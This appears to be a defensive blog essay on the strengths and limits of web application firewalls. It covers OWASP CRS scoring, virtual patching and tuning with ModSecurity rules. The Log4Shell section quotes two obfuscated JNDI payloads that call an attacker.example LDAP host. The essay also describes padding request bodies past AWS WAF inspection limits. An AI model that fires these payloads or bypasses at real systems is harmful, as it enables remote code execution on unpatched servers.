I’ve sat in a lot of meetings where a vulnerability report was closed with “we’re behind a WAF”. It’s an understandable reflex. The WAF is a product with a dashboard full of blocked attacks, and the bug is a ticket that competes with features. But a web application firewall is a filter in front of your code, not a change to it. It’s very good at some jobs and close to useless at others, and knowing which is which decides whether it’s protecting you or just making you feel protected.
How a WAF decides

Under the vendor branding, most WAFs work the same way. They parse each HTTP request (method, path, query string, headers, cookies, body), normalize it by decoding URL encoding, HTML entities and so on, then run the result past a set of rules. Rules are mostly pattern matches for attack syntax, plus some protocol sanity checks and rate limits.
The OWASP Core Rule Set, the open rule set used by ModSecurity, Coraza and a number of commercial products, is a good place to see this in the open. It uses anomaly scoring: each matching rule adds points, a critical match adds 5, and the request is blocked once the inbound score reaches a threshold (5 by default). Paranoia levels 1 to 4 trade more detection for more false positives.
# crs-setup.conf
SecAction "id:900000,phase:1,pass,nolog,setvar:tx.blocking_paranoia_level=2"
SecAction "id:900110,phase:1,pass,nolog,\
setvar:tx.inbound_anomaly_score_threshold=5,\
setvar:tx.outbound_anomaly_score_threshold=4"
Worth knowing if you run ModSecurity yourself: Trustwave ended its support in July 2024, and the project moved to OWASP. Coraza is a Go reimplementation that runs CRS, and it’s where a lot of new deployments go.
What a WAF is good at
A WAF reliably stops commodity attack traffic. Scanners firing textbook SQL injection, path traversal and XSS payloads at every parameter get blocked, which drops a huge amount of noise from your logs and closes the easy wins for opportunistic attackers. If you have a legacy app full of string-concatenated SQL that nobody will fix this year, a WAF at paranoia level 2 is a real improvement.
Its best use, in my opinion, is virtual patching. When a critical CVE lands in a framework you run, a targeted rule can block the exploit pattern within hours, long before your fix gets through build, test and deploy. In December 2021 the first Log4Shell (CVE-2021-44228) rules went out from most WAF vendors within a day, and they genuinely blunted the first wave of mass scanning.
What it misses
That same Log4Shell week shows the limits too. The first rules matched ${jndi:. Attackers immediately switched to lookups that Log4j evaluates but that don’t look like the string, for example:
${${lower:j}ndi:ldap://attacker.example/a}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/a}
Vendors updated their rules, attackers found new encodings, and the cycle ran for weeks. The WAF was trying to predict every input the vulnerable code would interpret, which is the same parser problem as the bug, just one layer further out. The actual fix was upgrading Log4j.
Parser disagreements are a general weakness, not a one-off. In 2022 researchers at Claroty showed that SQL injection payloads using JSON operators, which major databases had supported for years, sailed past WAFs from several large vendors because the rule sets didn’t understand JSON syntax in SQL. Any time the WAF and your application parse a request differently (duplicate parameters, odd content types, multipart edge cases, JSON with repeated keys) there’s room for a payload the WAF sees as harmless and the app sees as an attack.
There are also plain capacity limits. AWS WAF behind an Application Load Balancer only inspects the first 8 KB of a request body. CloudFront and API Gateway default to 16 KB and can be raised to 64 KB. What happens to the rest depends on each rule’s oversize handling setting, and the default simply evaluates the part that was inspected, so whatever sits past the limit is never examined. An attacker who pads a JSON body past the limit can put the interesting part where nobody looks.
Then there’s the large class of bugs a WAF can’t see at all, because nothing about the request is malformed. Broken object level authorization, number one on the OWASP API Security Top 10, is a request for /api/invoices/1043 from a user who owns invoice 1042. It looks exactly like a legitimate request because it is one, apart from who sent it. The same goes for authentication logic flaws, missing rate limits on password reset, price manipulation, race conditions in checkout. The WAF doesn’t know your business rules, and no signature can encode them.
Running one well
If you deploy a WAF, deploy it like any other control that can break production. Start in detection mode (SecRuleEngine DetectionOnly in ModSecurity, count mode in AWS WAF) and watch real traffic for a week or two. Then write narrow exclusions for the false positives you find:
SecRule REQUEST_URI "@beginsWith /api/cms/articles" \
"id:1001,phase:1,pass,nolog,\
ctl:ruleRemoveTargetByTag=attack-xss;ARGS:body"
That removes XSS checks from one field on one endpoint, which is the right granularity. The common mistake is disabling a whole rule globally because one form tripped it, and repeated a few dozen times that turns your WAF into an expensive logger.
Send its logs somewhere people look. A WAF blocking a burst of exploit attempts against one endpoint is a strong signal that someone found something interesting there, and that’s worth a human glance.
The bug is still there
Every WAF rule that’s covering a real vulnerability should have a ticket next to it for the code fix, with a date. Virtual patching is a way to buy time, and you should spend that time on the fix rather than treat it as found money. The goal is a codebase where the WAF only catches noise, because the bugs behind it have been fixed: parameterized queries, output encoding, real authorization checks on every object, and dependencies kept current.
I’d keep the WAF after that too. Defence in depth is real, and blocking scanners is useful. Just don’t let the dashboard’s blocked-attack count stand in for the question that matters, which is whether the application would be safe without it.
